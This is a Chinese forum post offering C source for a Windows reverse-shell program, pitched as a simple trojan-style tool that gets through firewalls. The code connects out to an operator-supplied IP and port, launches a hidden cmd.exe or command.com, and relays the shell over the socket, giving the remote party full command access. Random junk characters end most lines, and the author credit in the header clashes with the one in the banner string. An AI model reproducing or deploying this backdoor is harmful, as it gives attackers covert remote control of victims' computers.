这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ri4z^1\
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/* ============================== #w|v.35%?
Rebound port in Windows NT eowwN>-2C
By wind,2006/7 Tfh2>
===============================*/ /A0_#g:2*#
#include iqB5h|
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#include feyc
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#pragma comment(lib,"wsock32.lib") )e0kr46
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void OutputShell(); ~ `}),aA
SOCKET sClient; <MJU:m$3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vai w*?jV
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void main(int argc,char **argv) e4=FO;%
{ xRc+3Z= N
WSADATA stWsaData; !o`7$`%Wz\
int nRet; (^iF)z
SOCKADDR_IN stSaiClient,stSaiServer; [r"Oi|
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if(argc != 3) )lLeL#]FLO
{ 7Q|<6210
printf("Useage:\n\rRebound DestIP DestPort\n"); :8OT
return; 8:c=h/fa
} vzs4tkG
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WSAStartup(MAKEWORD(2,2),&stWsaData); toGd;2rl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tx
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stSaiClient.sin_family = AF_INET; Zfk]Z9YO
stSaiClient.sin_port = htons(0); 9Zd\6F,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X7-*`NI^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _Vp"G)1Y
{ *y?6m,38V
printf("Bind Socket Failed!\n"); 0^S$_L
return; DcBAncsK
} O0jOI3/P%
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stSaiServer.sin_family = AF_INET; s.7=!JQ#]p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %`k [xz
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AR( gI]1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #b*4v&<
{ jC[_uG
printf("Connect Error!"); Q(-&}cY
return; 8>WA5:]v
} 5QK%BiDlr
OutputShell(); &o x
} +pG+ xI
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void OutputShell() "9'3mmZm=?
{ N{bg-%s10i
char szBuff[1024]; KE"6I
SECURITY_ATTRIBUTES stSecurityAttributes; Hre&a!U
OSVERSIONINFO stOsversionInfo; AJ6l#j-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Kw"e4 a
STARTUPINFO stStartupInfo; rzHBop-8
char *szShell; rK'Lvt@w
PROCESS_INFORMATION stProcessInformation; b||usv[or
unsigned long lBytesRead; J:W+'x`@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ynM:]*~K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QWa@?BO2p
stSecurityAttributes.lpSecurityDescriptor = 0; W8bp3JX"
stSecurityAttributes.bInheritHandle = TRUE; F8<G9#%s\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \E,2VM@6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?=4oxPe
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !HU$V9C
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YK{J"Kof
stStartupInfo.wShowWindow = SW_HIDE; 'cc8xC
stStartupInfo.hStdInput = hReadPipe; 7+f6?
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [err$
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GetVersionEx(&stOsversionInfo); 40MKf/9
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switch(stOsversionInfo.dwPlatformId) [- 92]
{ ` Ny(S2
case 1: # *pB"L
szShell = "command.com"; dakHH@Q
break; ;UgwV/d
default: I,#E`)
szShell = "cmd.exe"; i[9gcL"
break; @,1_CqV
} @`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I~F&@
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send(sClient,szMsg,77,0); `AE6s.p?
while(1) \^,Jh|T
{ >;Oa|G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sE&nEc
if(lBytesRead) #2i$:c~
{ iJhieNn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e eN`T&cI
send(sClient,szBuff,lBytesRead,0); kSEA
} Y>aVnixx<
else U/{t" e
{ sryA(V
lBytesRead=recv(sClient,szBuff,1024,0); Xh}q/H<
if(lBytesRead<=0) break; USEmD5 q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {M:/HQo
} }iDRlE,
} C ibfuR
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return; |)To 0Z
}